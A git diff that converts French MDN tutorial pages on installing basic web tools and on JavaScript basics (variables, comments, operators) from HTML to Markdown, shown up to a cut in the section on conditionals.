[Chrome](https://www.google.com/chrome/browser/), [Opera](http://www.opera.com/), [Internet Explorer](http://windows.microsoft.com/en-us/internet-explorer/download-ie), [Microsoft Edge](https://www.microsoft.com/en-us/windows/microsoft-edge) (Windows 10 est livré avec Edge par défaut, si vous avez Windows 7 ou supérieur, vous pouvez installer Internet Explorer 11, sinon, vous devez installer un autre navigateur). +- Mac : [Firefox](https://www.mozilla.org/en-US/firefox/new/), [Chrome](https://www.google.com/chrome/browser/), [Opera](http://www.opera.com/), [Safari](https://www.apple.com/safari/) (Safari est proposé sur iOS et macOS par défaut). -<p>Avant de continuer, vous devriez installer au moins deux de ces navigateurs et les préparer pour les tests.</p> +Avant de continuer, vous devriez installer au moins deux de ces navigateurs et les préparer pour les tests. -<p><strong>Note</strong>: Internet Explorer n'est pas compatible avec les dernières améliorations proposées par le Web. Il est possible que votre projet ne fonctionne pas sur ce navigateur. Vous n'avez généralement pas à vous soucier de rendre vos projets Web compatibles avec celui-ci, car très peu de personnes l'utilisent encore. Mais pour certains besoins spécifique, il faudra rendre votre projet compatible.</p> +**Note**: Internet Explorer n'est pas compatible avec les dernières améliorations proposées par le Web. Il est possible que votre projet ne fonctionne pas sur ce navigateur. Vous n'avez généralement pas à vous soucier de rendre vos projets Web compatibles avec celui-ci, car très peu de personnes l'utilisent encore. Mais pour certains besoins spécifique, il faudra rendre votre projet compatible. -<h3 id="Installer_un_serveur_web_local">Installer un serveur web local</h3> +### Installer un serveur web local -<p>Certains projets Web ont besoin d'être lancés sur un serveur Web pour fonctionner correctement. Vous pouvez trouver ces explications ici: <a href="/fr/Apprendre/Common_questions/configurer_un_serveur_de_test_local">Comment installer en local un serveur de tests ?</a></p> +Certains projets Web ont besoin d'être lancés sur un serveur Web pour fonctionner correctement. Vous pouvez trouver ces explications ici: [Comment installer en local un serveur de tests ?](/fr/Apprendre/Common_questions/configurer_un_serveur_de_test_local) -<p>{{NextMenu("Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site","Apprendre/Commencer_avec_le_web")}}</p> +{{NextMenu("Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site","Apprendre/Commencer_avec_le_web")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Installation_outils_de_base">Installer les logiciels de base</a></li> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site">Quel aspect pour votre site Web ?</a></li> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers">Gérer les fichiers</a></li> - <li><a href="/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_HTML">Bases du HTML</a></li> - <li><a href="/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_CSS">Bases des CSS</a></li> - <li><a href="/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_JavaScript">Bases du JavaScript</a></li> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Publier_votre_site_web">Publier votre site Web</a></li> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Le_fonctionnement_du_Web">Comment fonctionne le Web</a></li> -</ul> +- [Installer les logiciels de base](/fr/Apprendre/Commencer_avec_le_web/Installation_outils_de_base) +- [Quel aspect pour votre site Web ?](/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site) +- [Gérer les fichiers](/fr/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers) +- [Bases du HTML](/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_HTML) +- [Bases des CSS](/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_CSS) +- [Bases du JavaScript](/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_JavaScript) +- [Publier votre site Web](/fr/Apprendre/Commencer_avec_le_web/Publier_votre_site_web) +- [Comment fonctionne le Web](/fr/Apprendre/Commencer_avec_le_web/Le_fonctionnement_du_Web) diff --git a/files/fr/learn/getting_started_with_the_web/javascript_basics/index.md b/files/fr/learn/getting_started_with_the_web/javascript_basics/index.md index 0b9cbe5215..b1ccf34f81 100644 --- a/files/fr/learn/getting_started_with_the_web/javascript_basics/index.md +++ b/files/fr/learn/getting_started_with_the_web/javascript_basics/index.md @@ -10,402 +10,467 @@ tags: translation_of: Learn/Getting_started_with_the_web/JavaScript_basics original_slug: Apprendre/Commencer_avec_le_web/Les_bases_JavaScript --- -<div>{{LearnSidebar}}<br> -{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Les_bases_CSS", "Apprendre/Commencer_avec_le_web/Publier_votre_site_web","Apprendre/Commencer_avec_le_web")}}</div> +{{LearnSidebar}} +{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Les_bases_CSS", "Apprendre/Commencer_avec_le_web/Publier_votre_site_web","Apprendre/Commencer_avec_le_web")}} -<p>JavaScript est un langage de programmation qui ajoute de l'interactivité à votre site web (par exemple : jeux, réponses quand on clique sur un bouton ou des données entrées dans des formulaires, composition dynamique, animations). Cet article vous aide à débuter dans ce langage passionnant et vous donne une idée de ses possibilités.</p> +JavaScript est un langage de programmation qui ajoute de l'interactivité à votre site web (par exemple : jeux, réponses quand on clique sur un bouton ou des données entrées dans des formulaires, composition dynamique, animations). Cet article vous aide à débuter dans ce langage passionnant et vous donne une idée de ses possibilités. -<h2 id="Qu'est_le_JavaScript_réellement">Qu'est le JavaScript, réellement ?</h2> +## Qu'est le JavaScript, réellement ? -<p>{{Glossary("JavaScript")}} (« JS » en abrégé) est un langage de {{Glossary("Dynamic programming language", "programmation dynamique")}} complet qui, appliqué à un document {{Glossary("HTML")}}, peut fournir une interactivité dynamique sur les sites Web. Il a été inventé par Brendan Eich, co-fondateur du projet Mozilla, de la Mozilla Foundation et de la Mozilla Corporation.</p> +{{Glossary("JavaScript")}} (« JS » en abrégé) est un langage de {{Glossary("Dynamic programming language", "programmation dynamique")}} complet qui, appliqué à un document {{Glossary("HTML")}}, peut fournir une interactivité dynamique sur les sites Web. Il a été inventé par Brendan Eich, co-fondateur du projet Mozilla, de la Mozilla Foundation et de la Mozilla Corporation. -<p>JavaScript est d'une incroyable flexibilité. Vous pouvez commencer petit, avec des carrousels, des galeries d'images, des variations de mises en page et des réponses aux clics de boutons. Avec plus d'expérience, vous serez en mesure de créer des jeux, des graphiques 2D et 3D animés, des applications complètes fondées sur des bases de données et bien plus encore !</p> +JavaScript est d'une incroyable flexibilité. Vous pouvez commencer petit, avec des carrousels, des galeries d'images, des variations de mises en page et des réponses aux clics de boutons. Avec plus d'expérience, vous serez en mesure de créer des jeux, des graphiques 2D et 3D animés, des applications complètes fondées sur des bases de données et bien plus encore ! -<p>JavaScript est plutôt compact tout en étant très souple. Les développeurs ont écrit de nombreux outils sur le cœur du langage JavaScript, créant des fonctionnalités supplémentaires très simplement. Parmi ces outils, il y a :</p> +JavaScript est plutôt compact tout en étant très souple. Les développeurs ont écrit de nombreux outils sur le cœur du langage JavaScript, créant des fonctionnalités supplémentaires très simplement. Parmi ces outils, il y a : -<ul> - <li>des Interfaces de Programmation d'Applications pour navigateurs ({{Glossary("API","API")}}) — API intégrées aux navigateurs web permettant de créer dynamiquement du HTML, de définir des styles de CSS, de collecter et manipuler un flux vidéo depuis la webcam de l'utilisateur ou de créer des graphiques 3D et des échantillonnages audio.</li> - <li>des API tierces‑parties permettant aux développeurs d'incorporer dans leurs sites des fonctionnalités issues d'autres fournisseurs de contenu, comme Twitter ou Facebook.</li> - <li>des modèles et bibliothèques tierces‑parties applicables à votre HTML permettant de mettre en œuvre rapidement des sites et des applications.</li> -</ul> +- des Interfaces de Programmation d'Applications pour navigateurs ({{Glossary("API","API")}}) — API intégrées aux navigateurs web permettant de créer dynamiquement du HTML, de définir des styles de CSS, de collecter et manipuler un flux vidéo depuis la webcam de l'utilisateur ou de créer des graphiques 3D et des échantillonnages audio. +- des API tierces‑parties permettant aux développeurs d'incorporer dans leurs sites des fonctionnalités issues d'autres fournisseurs de contenu, comme Twitter ou Facebook. +- des modèles et bibliothèques tierces‑parties applicables à votre HTML permettant de mettre en œuvre rapidement des sites et des applications. -<p>Comme cet article est une introduction simplifiée à JavaScript, nous n'allons pas compliquer les choses à ce stade en entrant dans les détails sur les différences entre le coeur du langage JavaScript et les différents outils cités plus haut. Vous pourrez entrer dans ces détails plus tard grâce à notre <a href="/fr/docs/Apprendre/JavaScript">centre d'apprentissage JavaScript</a>, et le reste du MDN.</p> +Comme cet article est une introduction simplifiée à JavaScript, nous n'allons pas compliquer les choses à ce stade en entrant dans les détails sur les différences entre le coeur du langage JavaScript et les différents outils cités plus haut. Vous pourrez entrer dans ces détails plus tard grâce à notre [centre d'apprentissage JavaScript](/fr/docs/Apprendre/JavaScript), et le reste du MDN. -<p>Ci-dessous nous allons vous présenter quelques aspects du coeur du langage, et vous pratiquerez aussi en manipulant les fonctionnalités des API navigateur. Amusez-vous !</p> +Ci-dessous nous allons vous présenter quelques aspects du coeur du langage, et vous pratiquerez aussi en manipulant les fonctionnalités des API navigateur. Amusez-vous ! -<h2 id="Un_exemple_«_hello_world_»">Un exemple « hello world »</h2> +## Un exemple « hello world » -<p>Le paragraphe précédent laisse entrevoir quelque chose de passionnant, et cela l'est vraiment — JavaScript est une technologie web parmi les plus dynamiques. Une fois que vous commencerez à être autonome en JavaScript, vous entrerez dans une nouvelle dimension de puissance et créativité.</p> +Le paragraphe précédent laisse entrevoir quelque chose de passionnant, et cela l'est vraiment — JavaScript est une technologie web parmi les plus dynamiques. Une fois que vous commencerez à être autonome en JavaScript, vous entrerez dans une nouvelle dimension de puissance et créativité. -<p>Cependant, être à l'aise avec JavaScript est plus dur que de l'être avec HTML ou CSS. Vous pourrez démarrer petit et continuer à travailler par petites étapes de façon soutenue. Pour commencer, nous allons vous montrer comment ajouter un JavaScript basique à votre page, en créant un exemple « Hello world ! » (<a href="https://fr.wikipedia.org/wiki/Hello_world">la norme en matière d'exemples de programmation de base</a>).</p> +Cependant, être à l'aise avec JavaScript est plus dur que de l'être avec HTML ou CSS. Vous pourrez démarrer petit et continuer à travailler par petites étapes de façon soutenue. Pour commencer, nous allons vous montrer comment ajouter un JavaScript basique à votre page, en créant un exemple « Hello world ! » ([la norme en matière d'exemples de programmation de base](https://fr.wikipedia.org/wiki/Hello_world)). -<div class="warning"> -<p><strong>Attention :</strong> Si vous rejoignez cette série d'articles en cours de route, <a href="https://github.com/mdn/beginner-html-site-styled/archive/gh-pages.zip">téléchargez cet exemple de code</a> et utilisez‑le comme point de départ.</p> -</div> +> **Attention :** Si vous rejoignez cette série d'articles en cours de route, [téléchargez cet exemple de code](https://github.com/mdn/beginner-html-site-styled/archive/gh-pages.zip) et utilisez‑le comme point de départ. -<ol> - <li>Tout d'abord, allez sur votre site de test et créez un nouveau dossier nommé « scripts » (sans guillemets). Ensuite, dans le nouveau dossier <code>scripts</code> que vous venez de créer, créez un nouveau fichier appelé main.js. Sauvegardez-le dans votre dossier scripts.</li> - <li>Ensuite, dans votre fichier <code>index.html</code>, ajoutez l'élément suivant sur une nouvelle ligne avant la balise fermante <code></body></code> : - <pre class="brush: html"><script src="scripts/main.js"></script></pre> - </li> - <li>Cet élément a le même rôle que l'élément {{htmlelement("link")}} pour le CSS — il applique le code JavaScript à la page, de sorte qu'il puisse avoir de l'effet sur le HTML (en même temps que le CSS et autres sur la page).</li> - <li>Maintenant ajoutez le code suivant dans <code>main.js</code> : - <pre class="brush: js">let myHeading = document.querySelector('h1'); -myHeading.textContent = 'Bonjour, monde !';</pre> - </li> - <li>Assurez-vous que les fichiers HTML et JavaScript soient enregistrés puis chargez <code>index.html</code> dans votre navigateur. Vous devriez obtenir quelque chose comme :<img alt="" src="hello-world.png"></li> -</ol> +1. Tout d'abord, allez sur votre site de test et créez un nouveau dossier nommé « scripts » (sans guillemets). Ensuite, dans le nouveau dossier `scripts` que vous venez de créer, créez un nouveau fichier appelé main.js. Sauvegardez-le dans votre dossier scripts. +2. Ensuite, dans votre fichier `index.html`, ajoutez l'élément suivant sur une nouvelle ligne avant la balise fermante `</body>` : -<div class="note"> -<p><strong>Note :</strong> La raison pour laquelle nous avons placé l'élément {{htmlelement("script")}} en bas du fichier HTML est que le HTML est chargé par le navigateur dans l'ordre dans lequel il apparaît dans le fichier. Si le JavaScript est chargé en premier et qu'il est supposé affecter le HTML en dessous, il pourrait ne pas fonctionner, car le JavaScript serait chargé avant le HTML sur lequel il est supposé travailler. Par conséquent, placer JavaScript près du bas de la page HTML est souvent la meilleure stratégie.</p> -</div> + ```html + <script src="scripts/main.js"></script> + ``` -<h3 id="Que_s'est-il_passé">Que s'est-il passé ?</h3> +3. Cet élément a le même rôle que l'élément {{htmlelement("link")}} pour le CSS — il applique le code JavaScript à la page, de sorte qu'il puisse avoir de l'effet sur le HTML (en même temps que le CSS et autres sur la page). +4. Maintenant ajoutez le code suivant dans `main.js` : -<p>Le texte du titre a été changé en «Bonjour, monde ! » en utilisant JavaScript. Pour cela, on a utilisé une fonction appelée {{domxref("Document.querySelector", "querySelector()")}} pour obtenir une référence sur l'en‑tête et la stocker dans une variable appelée <code>myHeading</code>. C'est assez proche de ce qu'on a fait avec les sélecteurs CSS. Lorsqu'on souhaite manipuler un élément, il faut d'abord le sélectionner.</p> + ```js + let myHeading = document.querySelector('h1'); + myHeading.textContent = 'Bonjour, monde !'; + ``` -<p>Ensuite, nous fixons à « Bonjour, monde ! » la valeur de la propriété {{domxref("Node.textContent", "textContent")}} de la variable <code>myHeading</code> (elle représente le contenu du titre).</p> +5. Assurez-vous que les fichiers HTML et JavaScript soient enregistrés puis chargez `index.html` dans votre navigateur. Vous devriez obtenir quelque chose comme : -<div class="note"> -<p><strong>Note :</strong> Les deux fonctions que vous avez utilisées ci-dessus font partie de l'API Document Object Model (DOM), qui vous permet de manipuler les documents.</p> -</div> +> **Note :** La raison pour laquelle nous avons placé l'élément {{htmlelement("script")}} en bas du fichier HTML est que le HTML est chargé par le navigateur dans l'ordre dans lequel il apparaît dans le fichier. Si le JavaScript est chargé en premier et qu'il est supposé affecter le HTML en dessous, il pourrait ne pas fonctionner, car le JavaScript serait chargé avant le HTML sur lequel il est supposé travailler. Par conséquent, placer JavaScript près du bas de la page HTML est souvent la meilleure stratégie. -<h2 id="Les_bases_du_JavaScript_en_accéléré">Les bases du JavaScript en accéléré</h2> +### Que s'est-il passé ? -<p>Nous allons explorer les fonctionnalités de base de JavaScript pour que vous puissiez mieux comprendre comment il fonctionne. Ces fonctionnalités sont communes à la plupart des langages de programmation, si vous comprenez ces éléments en JavaScript, vous êtes en bonne voie de pouvoir programmer à peu près n'importe quoi !</p> +Le texte du titre a été changé en «Bonjour, monde ! » en utilisant JavaScript. Pour cela, on a utilisé une fonction appelée {{domxref("Document.querySelector", "querySelector()")}} pour obtenir une référence sur l'en‑tête et la stocker dans une variable appelée `myHeading`. C'est assez proche de ce qu'on a fait avec les sélecteurs CSS. Lorsqu'on souhaite manipuler un élément, il faut d'abord le sélectionner. -<div class="warning"> -<p><strong>Attention :</strong> Tout au long de cet article, vous pouvez saisir les lignes de code dans votre console JavaScript pour voir ce qui se passe. Pour plus de détails sur les consoles JavaScript, vous pouvez lire <a href="/fr/Apprendre/D%C3%A9couvrir_outils_d%C3%A9veloppement_navigateurs">Découvrir les outils de développement présents dans le navigateur</a>.</p> -</div> +Ensuite, nous fixons à « Bonjour, monde ! » la valeur de la propriété {{domxref("Node.textContent", "textContent")}} de la variable `myHeading` (elle représente le contenu du titre). -<h3 id="Variables">Variables</h3> +> **Note :** Les deux fonctions que vous avez utilisées ci-dessus font partie de l'API Document Object Model (DOM), qui vous permet de manipuler les documents. -<p>Les {{Glossary("Variable", "variables")}} sont des conteneurs dans lesquels on peut stocker des valeurs. Pour commencer, il faut déclarer une variable avec le mot-clé <code>let</code> en le faisant suivre de son nom :</p> +## Les bases du JavaScript en accéléré -<pre class="brush: js">let myVariable;</pre> +Nous allons explorer les fonctionnalités de base de JavaScript pour que vous puissiez mieux comprendre comment il fonctionne. Ces fonctionnalités sont communes à la plupart des langages de programmation, si vous comprenez ces éléments en JavaScript, vous êtes en bonne voie de pouvoir programmer à peu près n'importe quoi ! -<div class="note"> -<p><strong>Note :</strong> Un point-virgule en fin de ligne indique là où se termine l'instruction ; ce n'est impérativement requis que si vous devez séparer des instructions sur une même ligne. Toutefois, certains pensent qu'il est de bonne pratique de les mettre à la fin de chaque instruction. Il y a d'autres règles à propos de leur emploi ou non‑emploi — voyez <a href="http://news.codecademy.com/your-guide-to-semicolons-in-javascript/">Guide des points‑virgule en JavaScript</a> pour plus de détails.</p> -</div> +> **Attention :** Tout au long de cet article, vous pouvez saisir les lignes de code dans votre console JavaScript pour voir ce qui se passe. Pour plus de détails sur les consoles JavaScript, vous pouvez lire [Découvrir les outils de développement présents dans le navigateur](/fr/Apprendre/D%C3%A9couvrir_outils_d%C3%A9veloppement_navigateurs). -<div class="note"> -<p><strong>Note :</strong> Vous pouvez utiliser (quasiment) n'importe quel nom pour nommer une variable, mais il y a quelques restrictions (voyez <a href="/fr/docs/Web/JavaScript/Guide/Types_et_grammaire#Variables">cet article</a> sur les règles de nommage des variables). Si vous avez un doute, vous pouvez <a href="https://mothereff.in/js-variables">vérifier le nom de votre variable</a> pour voir s'il est valide.</p> -</div> +### Variables -<div class="note"> -<p><strong>Note :</strong> JavaScript est sensible à la casse — <code>myVariable</code> est une variable différente de <code>myvariable</code>. Si vous avez des problèmes dans votre code, vérifiez la casse !</p> -</div> +Les {{Glossary("Variable", "variables")}} sont des conteneurs dans lesquels on peut stocker des valeurs. Pour commencer, il faut déclarer une variable avec le mot-clé `let` en le faisant suivre de son nom : -<p>Une fois une variable déclarée, vous pouvez lui donner une valeur :</p> +```js +let myVariable; +``` -<pre class="brush: js">myVariable = 'Bob';</pre> +> **Note :** Un point-virgule en fin de ligne indique là où se termine l'instruction ; ce n'est impérativement requis que si vous devez séparer des instructions sur une même ligne. Toutefois, certains pensent qu'il est de bonne pratique de les mettre à la fin de chaque instruction. Il y a d'autres règles à propos de leur emploi ou non‑emploi — voyez [Guide des points‑virgule en JavaScript](http://news.codecademy.com/your-guide-to-semicolons-in-javascript/) pour plus de détails. -<p>Vous pouvez faire les deux opérations sur une même ligne si vous le souhaitez :</p> +> **Note :** Vous pouvez utiliser (quasiment) n'importe quel nom pour nommer une variable, mais il y a quelques restrictions (voyez [cet article](/fr/docs/Web/JavaScript/Guide/Types_et_grammaire#Variables) sur les règles de nommage des variables). Si vous avez un doute, vous pouvez [vérifier le nom de votre variable](https://mothereff.in/js-variables) pour voir s'il est valide. -<pre class="brush: js">let myVariable = 'Bob';</pre> +> **Note :** JavaScript est sensible à la casse — `myVariable` est une variable différente de `myvariable`. Si vous avez des problèmes dans votre code, vérifiez la casse ! -<p>Vous retrouvez la valeur en appelant simplement la variable par son nom :</p> +Une fois une variable déclarée, vous pouvez lui donner une valeur : -<pre class="brush: js">myVariable;</pre> +```js +myVariable = 'Bob'; +``` -<p>Une fois qu'on a donné une valeur à une variable, on peut la changer plus loin :</p> +Vous pouvez faire les deux opérations sur une même ligne si vous le souhaitez : -<pre class="brush: js">let myVariable = 'Bob'; -myVariable = 'Étienne';</pre> +```js +let myVariable = 'Bob'; +``` -<p>Notez que les variables peuvent contenir des<a href="/fr/docs/Web/JavaScript/Structures_de_données#Les_valeurs_primitives"> types différents de données</a> :</p> +Vous retrouvez la valeur en appelant simplement la variable par son nom : + +```js +myVariable; +``` + +Une fois qu'on a donné une valeur à une variable, on peut la changer plus loin : + +```js +let myVariable = 'Bob'; +myVariable = 'Étienne'; +``` + +Notez que les variables peuvent contenir des[ types différents de données](/fr/docs/Web/JavaScript/Structures_de_données#Les_valeurs_primitives) : <table class="standard-table"> - <thead> - <tr> - <th scope="row">Variable</th> - <th scope="col">Explication</th> - <th scope="col">Exemple</th> - </tr> - </thead> - <tbody> - <tr> - <th scope="row">{{Glossary("String", "Chaîne de caractères")}}</th> - <td>Une suite de caractères connue sous le nom de chaîne. Pour indiquer que la valeur est une chaîne, il faut la placer entre guillemets.</td> - <td><code>let myVariable = 'Bob';</code></td> - </tr> - <tr> - <th scope="row">{{Glossary( "Number" ,"Nombre")}}</th> - <td>Un nombre. Les nombres ne sont pas entre guillemets.</td> - <td><code>let myVariable = 10;</code></td> - </tr> - <tr> - <th scope="row">{{Glossary( "Boolean" ,"Booléen")}}</th> - <td>Une valeur qui signifie vrai ou faux. <code>true</code>/<code>false</code> sont des mots-clés spéciaux en JS, ils n'ont pas besoin de guillemets.</td> - <td><code>let myVariable = true;</code></td> - </tr> - <tr> - <th scope="row">{{Glossary( "Array" ,"Tableau")}}</th> - <td>Une structure qui permet de stocker plusieurs valeurs dans une seule variable.</td> - <td> - <p><code>let myVariable = [1,'Bob','Étienne',10];</code><br> - Référez‑vous à chaque élément du tableau ainsi <code>: myVariable[0]</code>, <code>myVariable[1]</code>, etc.</p> - </td> - </tr> - <tr> - <th scope="row">{{Glossary( "Object" ,"Objet")}}</th> - <td>À la base de toute chose. Tout est un objet en JavaScript et peut être stocké dans une variable. Gardez cela en mémoire tout au long de ce cours.</td> - <td><code>let myVariable = document.querySelector('h1'); </code>tous les exemples au dessus sont aussi des objets.</td> - </tr> - </tbody> + <thead> + <tr> + <th scope="row">Variable</th> + <th scope="col">Explication</th> + <th scope="col">Exemple</th> + </tr> + </thead> + <tbody> + <tr> + <th scope="row"> + {{Glossary("String", "Chaîne de caractères")}} + </th> + <td> + Une suite de caractères connue sous le nom de chaîne. Pour indiquer que + la valeur est une chaîne, il faut la placer entre guillemets. + </td> + <td><code>let myVariable = 'Bob';</code></td> + </tr> + <tr> + <th scope="row">{{Glossary( "Number" ,"Nombre")}}</th> + <td>Un nombre. Les nombres ne sont pas entre guillemets.</td> + <td><code>let myVariable = 10;</code></td> + </tr> + <tr> + <th scope="row">{{Glossary( "Boolean" ,"Booléen")}}</th> + <td> + Une valeur qui signifie vrai ou faux. <code>true</code>/<code + >false</code + > + sont des mots-clés spéciaux en JS, ils n'ont pas besoin de guillemets. + </td> + <td><code>let myVariable = true;</code></td> + </tr> + <tr> + <th scope="row">{{Glossary( "Array" ,"Tableau")}}</th> + <td> + Une structure qui permet de stocker plusieurs valeurs dans une seule + variable. + </td> + <td> + <p> + <code>let myVariable = [1,'Bob','Étienne',10];</code + ><br />Référez‑vous à chaque élément du tableau ainsi <code + >: myVariable[0]</code + >, <code>myVariable[1]</code>, etc. + </p> + </td> + </tr> + <tr> + <th scope="row">{{Glossary( "Object" ,"Objet")}}</th> + <td> + À la base de toute chose. Tout est un objet en JavaScript et peut être + stocké dans une variable. Gardez cela en mémoire tout au long de ce + cours. + </td> + <td> + <code>let myVariable = document.querySelector('h1'); </code>tous les + exemples au dessus sont aussi des objets. + </td> + </tr> + </tbody> </table> -<p>Pourquoi a-t-on besoin de variables ? Et bien parce qu'elles sont essentielles à la programmation. Si les valeurs ne pouvaient pas changer, on ne pourrait rien faire de dynamique, comme personnaliser un message de bienvenue ou changer l'image affichée dans une galerie.</p> +Pourquoi a-t-on besoin de variables ? Et bien parce qu'elles sont essentielles à la programmation. Si les valeurs ne pouvaient pas changer, on ne pourrait rien faire de dynamique, comme personnaliser un message de bienvenue ou changer l'image affichée dans une galerie. -<h3 id="Commentaires">Commentaires</h3> +### Commentaires -<p>Il est possible d'intégrer des commentaires dans du code JavaScript, de la même manière que dans les CSS :</p> +Il est possible d'intégrer des commentaires dans du code JavaScript, de la même manière que dans les CSS : -<pre class="brush: js">/* +```js +/* Tout ce qui est écrit ici est entre commentaires. -*/</pre> +*/ +``` -<p>Si votre commentaire tient sur une ligne, vous pouvez utiliser deux barres obliques pour indiquer un commentaire :</p> +Si votre commentaire tient sur une ligne, vous pouvez utiliser deux barres obliques pour indiquer un commentaire : -<pre class="brush: js">// Voici un commentaire</pre> +```js +// Voici un commentaire +``` -<h3 id="Opérateurs">Opérateurs</h3> +### Opérateurs -<p>Un {{Glossary("operator","opérateur")}} est un symbole mathématique qui produit un résultat en fonction de deux valeurs (ou variables). Le tableau suivant liste certains des opérateurs les plus simples ainsi que des exemples que vous pouvez tester dans votre console JavaScript.</p> +Un {{Glossary("operator","opérateur")}} est un symbole mathématique qui produit un résultat en fonction de deux valeurs (ou variables). Le tableau suivant liste certains des opérateurs les plus simples ainsi que des exemples que vous pouvez tester dans votre console JavaScript. <table class="standard-table"> - <thead> - <tr> - <th scope="row">Opérateur</th> - <th scope="col">Explication</th> - <th scope="col">Symbole(s)</th> - <th scope="col">Exemple</th> - </tr> - </thead> - <tbody> - <tr> - <th scope="row">Addition</th> - <td>Utilisé pour ajouter deux nombres ou concaténer (accoler) deux chaînes.</td> - <td><code>+</code></td> - <td><code>6 + 9;<br> - "Bonjour " + "monde !";</code></td> - </tr> - <tr> - <th scope="row">Soustraction, multiplication, division</th> - <td>Les opérations mathématiques de base.</td> - <td><code>-</code>, <code>*</code>, <code>/</code></td> - <td><code>9 - 3;<br> - 8 * 2; // pour multiplier, on utilise un astérisque<br> - 9 / 3;</code></td> - </tr> - <tr> - <th scope="row">Assignation</th> - <td>On a déjà vu cet opérateur : il affecte une valeur à une variable.</td> - <td><code>=</code></td> - <td><code>let myVariable = 'Bob';</code></td> - </tr> - <tr> - <th scope="row">Égalité</th> - <td>Teste si deux valeurs sont égales et renvoie un booléen <code>true</code>/<code>false</code> comme résultat.</td> - <td><code>===</code></td> - <td><code>let myVariable = 3;<br> - myVariable === 4;</code></td> - </tr> - <tr> - <th scope="row">Négation , N'égale pas</th> - <td> - <p>Renvoie la valeur logique opposée à ce qu'il précède ; il change <code>true</code> en <code>false</code>, etc. Utilisé avec l'opérateur d'égalité, l'opérateur de négation teste que deux valeurs <em>ne sont pas</em> égales.</p> - </td> - <td><code>!</code>, <code>!==</code></td> - <td> - <p>L'expression de base est vraie, mais la comparaison renvoie <code>false</code> parce que nous la nions :</p> - - <p><code>let myVariable = 3;<br> - !(myVariable === 3);</code></p> - - <p>On teste ici que "<code>myVariable</code> n'est PAS égale à 3". Cela renvoie <code>false</code>, car elle est égale à 3.</p> - - <p><code><code>let myVariable = 3;</code><br> - myVariable !== 3;</code></p> - </td> - </tr> - </tbody> + <thead> + <tr> + <th scope="row">Opérateur</th> + <th scope="col">Explication</th> + <th scope="col">Symbole(s)</th> + <th scope="col">Exemple</th> + </tr> + </thead> + <tbody> + <tr> + <th scope="row">Addition</th> + <td> + Utilisé pour ajouter deux nombres ou concaténer (accoler) deux chaînes. + </td> + <td><code>+</code></td> + <td> + <code>6 + 9;<br />"Bonjour " + "monde !";</code> + </td> + </tr> + <tr> + <th scope="row">Soustraction, multiplication, division</th> + <td>Les opérations mathématiques de base.</td> + <td><code>-</code>, <code>*</code>, <code>/</code></td> + <td> + <code + >9 - 3;<br />8 * 2; // pour multiplier, on utilise un astérisque<br />9 + / 3;</code + > + </td> + </tr> + <tr> + <th scope="row">Assignation</th> + <td> + On a déjà vu cet opérateur : il affecte une valeur à une variable. + </td> + <td><code>=</code></td> + <td><code>let myVariable = 'Bob';</code></td> + </tr> + <tr> + <th scope="row">Égalité</th> + <td> + Teste si deux valeurs sont égales et renvoie un booléen + <code>true</code>/<code>false</code> comme résultat. + </td> + <td><code>===</code></td> + <td> + <code>let myVariable = 3;<br />myVariable === 4;</code> + </td> + </tr> + <tr> + <th scope="row">Négation , N'égale pas</th> + <td> + <p> + Renvoie la valeur logique opposée à ce qu'il précède ; il change <code + >true</code + > + en <code>false</code>, etc. Utilisé avec l'opérateur d'égalité, + l'opérateur de négation teste que deux valeurs + <em>ne sont pas</em> égales. + </p> + </td> + <td><code>!</code>, <code>!==</code></td> + <td> + <p> + L'expression de base est vraie, mais la comparaison renvoie + <code>false</code> parce que nous la nions : + </p> + <p> + <code>let myVariable = 3;<br />!(myVariable === 3);</code> + </p> + <p> + On teste ici que "<code>myVariable</code> n'est PAS égale à 3". Cela + renvoie <code>false</code>, car elle est égale à 3. + </p> + <p> + <code><code>let myVariable = 3;</code><br />myVariable !== 3;</code> + </p> + </td> + </tr> + </tbody> </table> -<p>Il y a nombre d'autres opérateurs à explorer, mais nous nous en tiendrons à ceux-là pour le moment. Voir <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs">Expressions et opérateurs</a> pour la liste complète.</p> +Il y a nombre d'autres opérateurs à explorer, mais nous nous en tiendrons à ceux-là pour le moment. Voir [Expressions et opérateurs](/fr/docs/Web/JavaScript/Reference/Opérateurs) pour la liste complète. -<div class="note"> -<p><strong>Note :</strong> Mélanger les types de données peut conduire à d'étranges résultats lors des opérations, donc prenez soin de vous référer correctement à vos variables et d'obtenir les résultats attendus. Par exemple, entrez <code>"35" + "25"</code> dans votre console. Pourquoi n'obtenez-vous pas le résultat attendu ? Parce que les guillemets ont transformé les nombres en chaînes, et donc vous avez concaténé deux chaînes au lieu d'additionner deux nombres. Si vous entrez <code>35 + 25</code>, vous obtiendrez le bon résultat.</p> -</div> +> **Note :** Mélanger les types de données peut conduire à d'étranges résultats lors des opérations, donc prenez soin de vous référer correctement à vos variables et d'obtenir les résultats attendus. Par exemple, entrez `"35" + "25"` dans votre console. Pourquoi n'obtenez-vous pas le résultat attendu ? Parce que les guillemets ont transformé les nombres en chaînes, et donc vous avez concaténé deux chaînes au lieu d'additionner deux nombres. Si vous entrez `35 + 25`, vous obtiendrez le bon résultat. -<h3 id="Structures_conditionnelles">Structures conditionnelles</h3> +### Structures conditionnelles -<p>Les structures conditionnelles sont des éléments du code qui permettent de tester si une expression est vraie ou non et d'exécuter des instructions différentes selon le résultat. La structure conditionnelle utilisée la plus fréquemment est <code>if ... else</code>. Par exemple :</p> +Les structures conditionnelles sont des éléments du code qui permettent de tester si une expression est vraie ou non et 